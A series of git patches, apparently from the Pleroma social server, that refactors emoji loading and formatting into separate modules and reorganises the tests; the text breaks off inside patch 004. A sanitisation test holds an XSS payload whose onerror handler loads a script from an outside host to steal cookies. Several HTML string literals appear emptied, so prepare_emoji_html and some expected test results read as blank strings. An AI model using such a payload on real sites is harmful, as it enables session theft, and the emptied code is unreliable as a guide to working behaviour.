From cef2e980b1f6b07c2bdb01030559aca83257bd7e Mon Sep 17 00:00:00 2001
From: Maksim Pechnikov
Date: Wed, 28 Aug 2019 21:32:44 +0300
Subject: [PATCH 001/148] division emoji.ex on loader.ex and emoji.ex
---
lib/mix/tasks/pleroma/emoji.ex | 2 +-
lib/pleroma/emoji.ex | 212 +++------------------------------
lib/pleroma/emoji/loader.ex | 204 +++++++++++++++++++++++++++++++
test/emoji/loader_test.exs | 83 +++++++++++++
test/emoji_test.exs | 75 ------------
5 files changed, 304 insertions(+), 272 deletions(-)
create mode 100644 lib/pleroma/emoji/loader.ex
create mode 100644 test/emoji/loader_test.exs
diff --git a/lib/mix/tasks/pleroma/emoji.ex b/lib/mix/tasks/pleroma/emoji.ex
index c2225af7d..dc5f7c193 100644
--- a/lib/mix/tasks/pleroma/emoji.ex
+++ b/lib/mix/tasks/pleroma/emoji.ex
@@ -235,7 +235,7 @@ def run(["gen-pack", src]) do
cwd: tmp_pack_dir
)
- emoji_map = Pleroma.Emoji.make_shortcode_to_file_map(tmp_pack_dir, exts)
+ emoji_map = Pleroma.Emoji.Loader.make_shortcode_to_file_map(tmp_pack_dir, exts)
File.write!(files_name, Jason.encode!(emoji_map, pretty: true))
diff --git a/lib/pleroma/emoji.ex b/lib/pleroma/emoji.ex
index 66e20f0e4..ab6ba7d6a 100644
--- a/lib/pleroma/emoji.ex
+++ b/lib/pleroma/emoji.ex
@@ -4,24 +4,22 @@
defmodule Pleroma.Emoji do
@moduledoc """
- The emojis are loaded from:
-
- * emoji packs in INSTANCE-DIR/emoji
- * the files: `config/emoji.txt` and `config/custom_emoji.txt`
- * glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder
-
- This GenServer stores in an ETS table the list of the loaded emojis, and also allows to reload the list at runtime.
+ This GenServer stores in an ETS table the list of the loaded emojis,
+ and also allows to reload the list at runtime.
"""
use GenServer
+ alias Pleroma.Emoji.Loader
+
require Logger
- @type pattern :: Regex.t() | module() | String.t()
- @type patterns :: pattern() | [pattern()]
- @type group_patterns :: keyword(patterns())
-
@ets __MODULE__.Ets
- @ets_options [:ordered_set, :protected, :named_table, {:read_concurrency, true}]
+ @ets_options [
+ :ordered_set,
+ :protected,
+ :named_table,
+ {:read_concurrency, true}
+ ]
@doc false
def start_link(_) do
@@ -44,7 +42,7 @@ def get(name) do
end
@doc "Returns all the emojos!!"
- @spec get_all() :: [{String.t(), String.t()}, ...]
+ @spec get_all() :: list({String.t(), String.t(), String.t()})
def get_all do
:ets.tab2list(@ets)
end
@@ -58,13 +56,13 @@ def init(_) do
@doc false
def handle_cast(:reload, state) do
- load()
+ update_emojis(Loader.load())
{:noreply, state}
end
@doc false
def handle_call(:reload, _from, state) do
- load()
+ update_emojis(Loader.load())
{:reply, :ok, state}
end
@@ -75,189 +73,11 @@ def terminate(_, _) do
@doc false
def code_change(_old_vsn, state, _extra) do
- load()
+ update_emojis(Loader.load())
{:ok, state}
end
- defp load do
- emoji_dir_path =
- Path.join(
- Pleroma.Config.get!([:instance, :static_dir]),
- "emoji"
- )
-
- emoji_groups = Pleroma.Config.get([:emoji, :groups])
-
- case File.ls(emoji_dir_path) do
- {:error, :enoent} ->
- # The custom emoji directory doesn't exist,
- # don't do anything
- nil
-
- {:error, e} ->
- # There was some other error
- Logger.error("Could not access the custom emoji directory #{emoji_dir_path}: #{e}")
-
- {:ok, results} ->
- grouped =
- Enum.group_by(results, fn file -> File.dir?(Path.join(emoji_dir_path, file)) end)
-
- packs = grouped[true] || []
- files = grouped[false] || []
-
- # Print the packs we've found
- Logger.info("Found emoji packs: #{Enum.join(packs, ", ")}")
-
- if not Enum.empty?(files) do
- Logger.warn(
- "Found files in the emoji folder. These will be ignored, please move them to a subdirectory\nFound files: #{
- Enum.join(files, ", ")
- }"
- )
- end
-
- emojis =
- Enum.flat_map(
- packs,
- fn pack -> load_pack(Path.join(emoji_dir_path, pack), emoji_groups) end
- )
-
- true = :ets.insert(@ets, emojis)
- end
-
- # Compat thing for old custom emoji handling & default emoji,
- # it should run even if there are no emoji packs
- shortcode_globs = Pleroma.Config.get([:emoji, :shortcode_globs], [])
-
- emojis =
- (load_from_file("config/emoji.txt", emoji_groups) ++
- load_from_file("config/custom_emoji.txt", emoji_groups) ++
- load_from_globs(shortcode_globs, emoji_groups))
- |> Enum.reject(fn value -> value == nil end)
-
- true = :ets.insert(@ets, emojis)
-
- :ok
- end
-
- defp load_pack(pack_dir, emoji_groups) do
- pack_name = Path.basename(pack_dir)
-
- emoji_txt = Path.join(pack_dir, "emoji.txt")
-
- if File.exists?(emoji_txt) do
- load_from_file(emoji_txt, emoji_groups)
- else
- extensions = Pleroma.Config.get([:emoji, :pack_extensions])
-
- Logger.info(
- "No emoji.txt found for pack \"#{pack_name}\", assuming all #{Enum.join(extensions, ", ")} files are emoji"
- )
-
- make_shortcode_to_file_map(pack_dir, extensions)
- |> Enum.map(fn {shortcode, rel_file} ->
- filename = Path.join("/emoji/#{pack_name}", rel_file)
-
- {shortcode, filename, [to_string(match_extra(emoji_groups, filename))]}
- end)
- end
- end
-
- def make_shortcode_to_file_map(pack_dir, exts) do
- find_all_emoji(pack_dir, exts)
- |> Enum.map(&Path.relative_to(&1, pack_dir))
- |> Enum.map(fn f -> {f |> Path.basename() |> Path.rootname(), f} end)
- |> Enum.into(%{})
- end
-
- def find_all_emoji(dir, exts) do
- Enum.reduce(
- File.ls!(dir),
- [],
- fn f, acc ->
- filepath = Path.join(dir, f)
-
- if File.dir?(filepath) do
- acc ++ find_all_emoji(filepath, exts)
- else
- acc ++ [filepath]
- end
- end
- )
- |> Enum.filter(fn f -> Path.extname(f) in exts end)
- end
-
- defp load_from_file(file, emoji_groups) do
- if File.exists?(file) do
- load_from_file_stream(File.stream!(file), emoji_groups)
- else
- []
- end
- end
-
- defp load_from_file_stream(stream, emoji_groups) do
- stream
- |> Stream.map(&String.trim/1)
- |> Stream.map(fn line ->
- case String.split(line, ~r/,\s*/) do
- [name, file] ->
- {name, file, [to_string(match_extra(emoji_groups, file))]}
-
- [name, file | tags] ->
- {name, file, tags}
-
- _ ->
- nil
- end
- end)
- |> Enum.to_list()
- end
-
- defp load_from_globs(globs, emoji_groups) do
- static_path = Path.join(:code.priv_dir(:pleroma), "static")
-
- paths =
- Enum.map(globs, fn glob ->
- Path.join(static_path, glob)
- |> Path.wildcard()
- end)
- |> Enum.concat()
-
- Enum.map(paths, fn path ->
- tag = match_extra(emoji_groups, Path.join("/", Path.relative_to(path, static_path)))
- shortcode = Path.basename(path, Path.extname(path))
- external_path = Path.join("/", Path.relative_to(path, static_path))
- {shortcode, external_path, [to_string(tag)]}
- end)
- end
-
- @doc """
- Finds a matching group for the given emoji filename
- """
- @spec match_extra(group_patterns(), String.t()) :: atom() | nil
- def match_extra(group_patterns, filename) do
- match_group_patterns(group_patterns, fn pattern ->
- case pattern do
- %Regex{} = regex -> Regex.match?(regex, filename)
- string when is_binary(string) -> filename == string
- end
- end)
- end
-
- defp match_group_patterns(group_patterns, matcher) do
- Enum.find_value(group_patterns, fn {group, patterns} ->
- patterns =
- patterns
- |> List.wrap()
- |> Enum.map(fn pattern ->
- if String.contains?(pattern, "*") do
- ~r(#{String.replace(pattern, "*", ".*")})
- else
- pattern
- end
- end)
-
- Enum.any?(patterns, matcher) && group
- end)
+ defp update_emojis(emojis) do
+ :ets.insert(@ets, emojis)
end
end
diff --git a/lib/pleroma/emoji/loader.ex b/lib/pleroma/emoji/loader.ex
new file mode 100644
index 000000000..e93b0aecc
--- /dev/null
+++ b/lib/pleroma/emoji/loader.ex
@@ -0,0 +1,204 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.Loader do
+ @moduledoc """
+ The Loader emoji from:
+
+ * emoji packs in INSTANCE-DIR/emoji
+ * the files: `config/emoji.txt` and `config/custom_emoji.txt`
+ * glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder
+ """
+ alias Pleroma.Config
+
+ require Logger
+
+ @type pattern :: Regex.t() | module() | String.t()
+ @type patterns :: pattern() | [pattern()]
+ @type group_patterns :: keyword(patterns())
+ @type emoji :: {String.t(), String.t(), list(String.t())}
+
+ @doc """
+ Loads emojis from files/packs.
+
+ returns list emojis in format:
+ `{"000", "/emoji/freespeechextremist.com/000.png", ["Custom"]}`
+ """
+ @spec load() :: list(emoji)
+ def load do
+ emoji_dir_path = Path.join(Config.get!([:instance, :static_dir]), "emoji")
+
+ emoji_groups = Config.get([:emoji, :groups])
+
+ emojis =
+ case File.ls(emoji_dir_path) do
+ {:error, :enoent} ->
+ # The custom emoji directory doesn't exist,
+ # don't do anything
+ []
+
+ {:error, e} ->
+ # There was some other error
+ Logger.error("Could not access the custom emoji directory #{emoji_dir_path}: #{e}")
+ []
+
+ {:ok, results} ->
+ grouped =
+ Enum.group_by(results, fn file ->
+ File.dir?(Path.join(emoji_dir_path, file))
+ end)
+
+ packs = grouped[true] || []
+ files = grouped[false] || []
+
+ # Print the packs we've found
+ Logger.info("Found emoji packs: #{Enum.join(packs, ", ")}")
+
+ if not Enum.empty?(files) do
+ Logger.warn(
+ "Found files in the emoji folder. These will be ignored, please move them to a subdirectory\nFound files: #{
+ Enum.join(files, ", ")
+ }"
+ )
+ end
+
+ Enum.flat_map(packs, fn pack ->
+ load_pack(Path.join(emoji_dir_path, pack), emoji_groups)
+ end)
+ end
+
+ # Compat thing for old custom emoji handling & default emoji,
+ # it should run even if there are no emoji packs
+ shortcode_globs = Config.get([:emoji, :shortcode_globs], [])
+
+ emojis_txt =
+ (load_from_file("config/emoji.txt", emoji_groups) ++
+ load_from_file("config/custom_emoji.txt", emoji_groups) ++
+ load_from_globs(shortcode_globs, emoji_groups))
+ |> Enum.reject(fn value -> value == nil end)
+
+ emojis ++ emojis_txt
+ end
+
+ defp load_pack(pack_dir, emoji_groups) do
+ pack_name = Path.basename(pack_dir)
+
+ emoji_txt = Path.join(pack_dir, "emoji.txt")
+
+ if File.exists?(emoji_txt) do
+ load_from_file(emoji_txt, emoji_groups)
+ else
+ extensions = Config.get([:emoji, :pack_extensions])
+
+ Logger.info(
+ "No emoji.txt found for pack \"#{pack_name}\", assuming all #{Enum.join(extensions, ", ")} files are emoji"
+ )
+
+ make_shortcode_to_file_map(pack_dir, extensions)
+ |> Enum.map(fn {shortcode, rel_file} ->
+ filename = Path.join("/emoji/#{pack_name}", rel_file)
+
+ {shortcode, filename, [to_string(match_extra(emoji_groups, filename))]}
+ end)
+ end
+ end
+
+ def make_shortcode_to_file_map(pack_dir, exts) do
+ find_all_emoji(pack_dir, exts)
+ |> Enum.map(&Path.relative_to(&1, pack_dir))
+ |> Enum.map(fn f -> {f |> Path.basename() |> Path.rootname(), f} end)
+ |> Enum.into(%{})
+ end
+
+ def find_all_emoji(dir, exts) do
+ Enum.reduce(
+ File.ls!(dir),
+ [],
+ fn f, acc ->
+ filepath = Path.join(dir, f)
+
+ if File.dir?(filepath) do
+ acc ++ find_all_emoji(filepath, exts)
+ else
+ acc ++ [filepath]
+ end
+ end
+ )
+ |> Enum.filter(fn f -> Path.extname(f) in exts end)
+ end
+
+ defp load_from_file(file, emoji_groups) do
+ if File.exists?(file) do
+ load_from_file_stream(File.stream!(file), emoji_groups)
+ else
+ []
+ end
+ end
+
+ defp load_from_file_stream(stream, emoji_groups) do
+ stream
+ |> Stream.map(&String.trim/1)
+ |> Stream.map(fn line ->
+ case String.split(line, ~r/,\s*/) do
+ [name, file] ->
+ {name, file, [to_string(match_extra(emoji_groups, file))]}
+
+ [name, file | tags] ->
+ {name, file, tags}
+
+ _ ->
+ nil
+ end
+ end)
+ |> Enum.to_list()
+ end
+
+ defp load_from_globs(globs, emoji_groups) do
+ static_path = Path.join(:code.priv_dir(:pleroma), "static")
+
+ paths =
+ Enum.map(globs, fn glob ->
+ Path.join(static_path, glob)
+ |> Path.wildcard()
+ end)
+ |> Enum.concat()
+
+ Enum.map(paths, fn path ->
+ tag = match_extra(emoji_groups, Path.join("/", Path.relative_to(path, static_path)))
+ shortcode = Path.basename(path, Path.extname(path))
+ external_path = Path.join("/", Path.relative_to(path, static_path))
+ {shortcode, external_path, [to_string(tag)]}
+ end)
+ end
+
+ @doc """
+ Finds a matching group for the given emoji filename
+ """
+ @spec match_extra(group_patterns(), String.t()) :: atom() | nil
+ def match_extra(group_patterns, filename) do
+ match_group_patterns(group_patterns, fn pattern ->
+ case pattern do
+ %Regex{} = regex -> Regex.match?(regex, filename)
+ string when is_binary(string) -> filename == string
+ end
+ end)
+ end
+
+ defp match_group_patterns(group_patterns, matcher) do
+ Enum.find_value(group_patterns, fn {group, patterns} ->
+ patterns =
+ patterns
+ |> List.wrap()
+ |> Enum.map(fn pattern ->
+ if String.contains?(pattern, "*") do
+ ~r(#{String.replace(pattern, "*", ".*")})
+ else
+ pattern
+ end
+ end)
+
+ Enum.any?(patterns, matcher) && group
+ end)
+ end
+end
diff --git a/test/emoji/loader_test.exs b/test/emoji/loader_test.exs
new file mode 100644
index 000000000..045eef150
--- /dev/null
+++ b/test/emoji/loader_test.exs
@@ -0,0 +1,83 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.LoaderTest do
+ use ExUnit.Case, async: true
+ alias Pleroma.Emoji.Loader
+
+ describe "match_extra/2" do
+ setup do
+ groups = [
+ "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
+ "wildcard folder": "/emoji/custom/*/file.png",
+ "wildcard files": "/emoji/custom/folder/*.png",
+ "special file": "/emoji/custom/special.png"
+ ]
+
+ {:ok, groups: groups}
+ end
+
+ test "config for list of files", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/first_file.png")
+ |> to_string()
+
+ assert group == "list of files"
+ end
+
+ test "config with wildcard folder", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/some_folder/file.png")
+ |> to_string()
+
+ assert group == "wildcard folder"
+ end
+
+ test "config with wildcard folder and subfolders", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png")
+ |> to_string()
+
+ assert group == "wildcard folder"
+ end
+
+ test "config with wildcard files", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/folder/some_file.png")
+ |> to_string()
+
+ assert group == "wildcard files"
+ end
+
+ test "config with wildcard files and subfolders", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png")
+ |> to_string()
+
+ assert group == "wildcard files"
+ end
+
+ test "config for special file", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/special.png")
+ |> to_string()
+
+ assert group == "special file"
+ end
+
+ test "no mathing returns nil", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/some_undefined.png")
+
+ refute group
+ end
+ end
+end
diff --git a/test/emoji_test.exs b/test/emoji_test.exs
index 07ac6ff1d..32a828cc9 100644
--- a/test/emoji_test.exs
+++ b/test/emoji_test.exs
@@ -32,79 +32,4 @@ test "random emoji", %{emoji_list: emoji_list} do
assert is_list(tags)
end
end
-
- describe "match_extra/2" do
- setup do
- groups = [
- "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
- "wildcard folder": "/emoji/custom/*/file.png",
- "wildcard files": "/emoji/custom/folder/*.png",
- "special file": "/emoji/custom/special.png"
- ]
-
- {:ok, groups: groups}
- end
-
- test "config for list of files", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/first_file.png")
- |> to_string()
-
- assert group == "list of files"
- end
-
- test "config with wildcard folder", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/some_folder/file.png")
- |> to_string()
-
- assert group == "wildcard folder"
- end
-
- test "config with wildcard folder and subfolders", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/some_folder/another_folder/file.png")
- |> to_string()
-
- assert group == "wildcard folder"
- end
-
- test "config with wildcard files", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/folder/some_file.png")
- |> to_string()
-
- assert group == "wildcard files"
- end
-
- test "config with wildcard files and subfolders", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/folder/another_folder/some_file.png")
- |> to_string()
-
- assert group == "wildcard files"
- end
-
- test "config for special file", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/special.png")
- |> to_string()
-
- assert group == "special file"
- end
-
- test "no mathing returns nil", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/some_undefined.png")
-
- refute group
- end
- end
end
From d7808b5db437b3300122127cef4c7ad076de7bda Mon Sep 17 00:00:00 2001
From: Maksim Pechnikov
Date: Thu, 29 Aug 2019 06:22:18 +0300
Subject: [PATCH 002/148] added code\path fields without html tags in ets
---
lib/pleroma/emoji/loader.ex | 12 +-
lib/pleroma/formatter.ex | 31 ++---
lib/pleroma/web/common_api/utils.ex | 2 +-
.../controllers/mastodon_api_controller.ex | 2 +-
.../controllers/util_controller.ex | 2 +-
test/emoji_test.exs | 8 +-
test/formatter_test.exs | 110 +++++++++---------
7 files changed, 93 insertions(+), 74 deletions(-)
diff --git a/lib/pleroma/emoji/loader.ex b/lib/pleroma/emoji/loader.ex
index e93b0aecc..70eba9ac6 100644
--- a/lib/pleroma/emoji/loader.ex
+++ b/lib/pleroma/emoji/loader.ex
@@ -78,7 +78,17 @@ def load do
load_from_globs(shortcode_globs, emoji_groups))
|> Enum.reject(fn value -> value == nil end)
- emojis ++ emojis_txt
+ Enum.map(emojis ++ emojis_txt, &prepare_emoji/1)
+ end
+
+ defp prepare_emoji({code, file, tags} = _emoji) do
+ {
+ code,
+ file,
+ tags,
+ Pleroma.HTML.strip_tags(code),
+ Pleroma.HTML.strip_tags(file)
+ }
end
defp load_pack(pack_dir, emoji_groups) do
diff --git a/lib/pleroma/formatter.ex b/lib/pleroma/formatter.ex
index 607843a5b..84955289c 100644
--- a/lib/pleroma/formatter.ex
+++ b/lib/pleroma/formatter.ex
@@ -107,19 +107,22 @@ def emojify(text) do
def emojify(text, nil), do: text
def emojify(text, emoji, strip \\ false) do
- Enum.reduce(emoji, text, fn emoji_data, text ->
- emoji = HTML.strip_tags(elem(emoji_data, 0))
- file = HTML.strip_tags(elem(emoji_data, 1))
+ Enum.reduce(emoji, text, fn
+ {_, _, _, emoji, file}, text ->
+ String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
- html =
- if not strip do
- ""
- else
- ""
- end
-
- String.replace(text, ":#{emoji}:", html) |> HTML.filter_tags()
+ emoji_data, text ->
+ emoji = HTML.strip_tags(elem(emoji_data, 0))
+ file = HTML.strip_tags(elem(emoji_data, 1))
+ String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
end)
+ |> HTML.filter_tags()
+ end
+
+ defp prepare_emoji_html(_emoji, _file, true), do: ""
+
+ defp prepare_emoji_html(emoji, file, _strip) do
+ ""
end
def demojify(text) do
@@ -130,7 +133,9 @@ def demojify(text, nil), do: text
@doc "Outputs a list of the emoji-shortcodes in a text"
def get_emoji(text) when is_binary(text) do
- Enum.filter(Emoji.get_all(), fn {emoji, _, _} -> String.contains?(text, ":#{emoji}:") end)
+ Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} ->
+ String.contains?(text, ":#{emoji}:")
+ end)
end
def get_emoji(_), do: []
@@ -138,7 +143,7 @@ def get_emoji(_), do: []
@doc "Outputs a list of the emoji-Maps in a text"
def get_emoji_map(text) when is_binary(text) do
get_emoji(text)
- |> Enum.reduce(%{}, fn {name, file, _group}, acc ->
+ |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc ->
Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
end)
end
diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex
index 6958c7511..9686e6491 100644
--- a/lib/pleroma/web/common_api/utils.ex
+++ b/lib/pleroma/web/common_api/utils.ex
@@ -435,7 +435,7 @@ def confirm_current_password(user, password) do
def emoji_from_profile(%{info: _info} = user) do
(Formatter.get_emoji(user.bio) ++ Formatter.get_emoji(user.name))
- |> Enum.map(fn {shortcode, url, _} ->
+ |> Enum.map(fn {shortcode, url, _, _, _} ->
%{
"type" => "Emoji",
"icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"},
diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
index 83e877c0e..603c6b3c6 100644
--- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
+++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
@@ -331,7 +331,7 @@ def peers(conn, _params) do
defp mastodonized_emoji do
Pleroma.Emoji.get_all()
- |> Enum.map(fn {shortcode, relative_url, tags} ->
+ |> Enum.map(fn {shortcode, relative_url, tags, _, _} ->
url = to_string(URI.merge(Web.base_url(), relative_url))
%{
diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex
index 3405bd3b7..923480242 100644
--- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex
+++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex
@@ -240,7 +240,7 @@ def version(conn, _params) do
def emoji(conn, _params) do
emoji =
Emoji.get_all()
- |> Enum.map(fn {short_code, path, tags} ->
+ |> Enum.map(fn {short_code, path, tags, _, _} ->
{short_code, %{image_url: path, tags: tags}}
end)
|> Enum.into(%{})
diff --git a/test/emoji_test.exs b/test/emoji_test.exs
index 32a828cc9..82f9c52ff 100644
--- a/test/emoji_test.exs
+++ b/test/emoji_test.exs
@@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do
test "first emoji", %{emoji_list: emoji_list} do
[emoji | _others] = emoji_list
- {code, path, tags} = emoji
+ {code, path, tags, _, _} = emoji
- assert tuple_size(emoji) == 3
+ assert tuple_size(emoji) == 5
assert is_binary(code)
assert is_binary(path)
assert is_list(tags)
@@ -24,9 +24,9 @@ test "first emoji", %{emoji_list: emoji_list} do
test "random emoji", %{emoji_list: emoji_list} do
emoji = Enum.random(emoji_list)
- {code, path, tags} = emoji
+ {code, path, tags, _, _} = emoji
- assert tuple_size(emoji) == 3
+ assert tuple_size(emoji) == 5
assert is_binary(code)
assert is_binary(path)
assert is_list(tags)
diff --git a/test/formatter_test.exs b/test/formatter_test.exs
index bfa673049..7a5bd0f9f 100644
--- a/test/formatter_test.exs
+++ b/test/formatter_test.exs
@@ -217,6 +217,27 @@ test "given the 'safe_mention' option, it will keep text after newlines" do
assert expected_text =~ "how are you doing?"
end
+
+ test "it can parse mentions and return the relevant users" do
+ text =
+ "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
+
+ o = insert(:user, %{nickname: "o"})
+ jimm = insert(:user, %{nickname: "jimm"})
+ gsimg = insert(:user, %{nickname: "gsimg"})
+ archaeme = insert(:user, %{nickname: "archaeme"})
+ archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
+
+ expected_mentions = [
+ {"@archaeme", archaeme},
+ {"@archaeme@archae.me", archaeme_remote},
+ {"@gsimg", gsimg},
+ {"@jimm", jimm},
+ {"@o", o}
+ ]
+
+ assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
+ end
end
describe ".parse_tags" do
@@ -234,67 +255,50 @@ test "parses tags in the text" do
end
end
- test "it can parse mentions and return the relevant users" do
- text =
- "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
+ describe "emojify" do
+ test "it adds cool emoji" do
+ text = "I love :firefox:"
- o = insert(:user, %{nickname: "o"})
- jimm = insert(:user, %{nickname: "jimm"})
- gsimg = insert(:user, %{nickname: "gsimg"})
- archaeme = insert(:user, %{nickname: "archaeme"})
- archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
+ expected_result =
+ "I love "
- expected_mentions = [
- {"@archaeme", archaeme},
- {"@archaeme@archae.me", archaeme_remote},
- {"@gsimg", gsimg},
- {"@jimm", jimm},
- {"@o", o}
- ]
+ assert Formatter.emojify(text) == expected_result
+ end
- assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
+ test "it does not add XSS emoji" do
+ text =
+ "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
+
+ custom_emoji = %{
+ "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
+ "https://placehold.it/1x1"
+ }
+
+ expected_result =
+ "I love "
+
+ assert Formatter.emojify(text, custom_emoji) == expected_result
+ end
end
- test "it adds cool emoji" do
- text = "I love :firefox:"
+ describe "get_emoji" do
+ test "it returns the emoji used in the text" do
+ text = "I love :firefox:"
- expected_result =
- "I love "
+ assert Formatter.get_emoji(text) == [
+ {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
+ ]
+ end
- assert Formatter.emojify(text) == expected_result
- end
+ test "it returns a nice empty result when no emojis are present" do
+ text = "I love moominamma"
+ assert Formatter.get_emoji(text) == []
+ end
- test "it does not add XSS emoji" do
- text =
- "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
-
- custom_emoji = %{
- "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
- "https://placehold.it/1x1"
- }
-
- expected_result =
- "I love "
-
- assert Formatter.emojify(text, custom_emoji) == expected_result
- end
-
- test "it returns the emoji used in the text" do
- text = "I love :firefox:"
-
- assert Formatter.get_emoji(text) == [
- {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
- ]
- end
-
- test "it returns a nice empty result when no emojis are present" do
- text = "I love moominamma"
- assert Formatter.get_emoji(text) == []
- end
-
- test "it doesn't die when text is absent" do
- text = nil
- assert Formatter.get_emoji(text) == []
+ test "it doesn't die when text is absent" do
+ text = nil
+ assert Formatter.get_emoji(text) == []
+ end
end
test "it escapes HTML in plain text" do
From 5c90b7073332ac333a5db9dfc82744cee03843fa Mon Sep 17 00:00:00 2001
From: Maksim
Date: Thu, 29 Aug 2019 11:45:25 +0000
Subject: [PATCH 003/148] Apply suggestion to lib/pleroma/emoji/loader.ex
---
lib/pleroma/emoji/loader.ex | 20 +++++++++-----------
1 file changed, 9 insertions(+), 11 deletions(-)
diff --git a/lib/pleroma/emoji/loader.ex b/lib/pleroma/emoji/loader.ex
index 70eba9ac6..82fc3b8c3 100644
--- a/lib/pleroma/emoji/loader.ex
+++ b/lib/pleroma/emoji/loader.ex
@@ -122,19 +122,17 @@ def make_shortcode_to_file_map(pack_dir, exts) do
end
def find_all_emoji(dir, exts) do
- Enum.reduce(
- File.ls!(dir),
- [],
- fn f, acc ->
- filepath = Path.join(dir, f)
+ dir
+ |> File.ls!()
+ |> Enum.flat_map(fn f ->
+ filepath = Path.join(dir, f)
- if File.dir?(filepath) do
- acc ++ find_all_emoji(filepath, exts)
- else
- acc ++ [filepath]
- end
+ if File.dir?(filepath) do
+ find_all_emoji(filepath, exts)
+ else
+ [filepath]
end
- )
+ end)
|> Enum.filter(fn f -> Path.extname(f) in exts end)
end
From d8098d142a0e8412eabdf5fe63705c25bcb1be34 Mon Sep 17 00:00:00 2001
From: Maksim Pechnikov
Date: Thu, 29 Aug 2019 22:01:37 +0300
Subject: [PATCH 004/148] added Emoji.Formatter
---
lib/pleroma/emoji/formatter.ex | 59 +++++++++++++++++++
lib/pleroma/formatter.ex | 52 ----------------
lib/pleroma/web/common_api/common_api.ex | 18 +++---
lib/pleroma/web/common_api/utils.ex | 5 +-
.../controllers/mastodon_api_controller.ex | 4 +-
lib/pleroma/web/metadata/utils.ex | 5 +-
.../web/twitter_api/twitter_api_controller.ex | 4 +-
.../web/twitter_api/views/activity_view.ex | 6 +-
.../web/twitter_api/views/user_view.ex | 7 ++-
test/emoji/formatter_test.exs | 54 +++++++++++++++++
test/formatter_test.exs | 46 ---------------
11 files changed, 141 insertions(+), 119 deletions(-)
create mode 100644 lib/pleroma/emoji/formatter.ex
create mode 100644 test/emoji/formatter_test.exs
diff --git a/lib/pleroma/emoji/formatter.ex b/lib/pleroma/emoji/formatter.ex
new file mode 100644
index 000000000..acdef3988
--- /dev/null
+++ b/lib/pleroma/emoji/formatter.ex
@@ -0,0 +1,59 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.Formatter do
+ alias Pleroma.Emoji
+ alias Pleroma.HTML
+ alias Pleroma.Web.MediaProxy
+
+ def emojify(text) do
+ emojify(text, Emoji.get_all())
+ end
+
+ def emojify(text, nil), do: text
+
+ def emojify(text, emoji, strip \\ false) do
+ Enum.reduce(emoji, text, fn
+ {_, _, _, emoji, file}, text ->
+ String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
+
+ emoji_data, text ->
+ emoji = HTML.strip_tags(elem(emoji_data, 0))
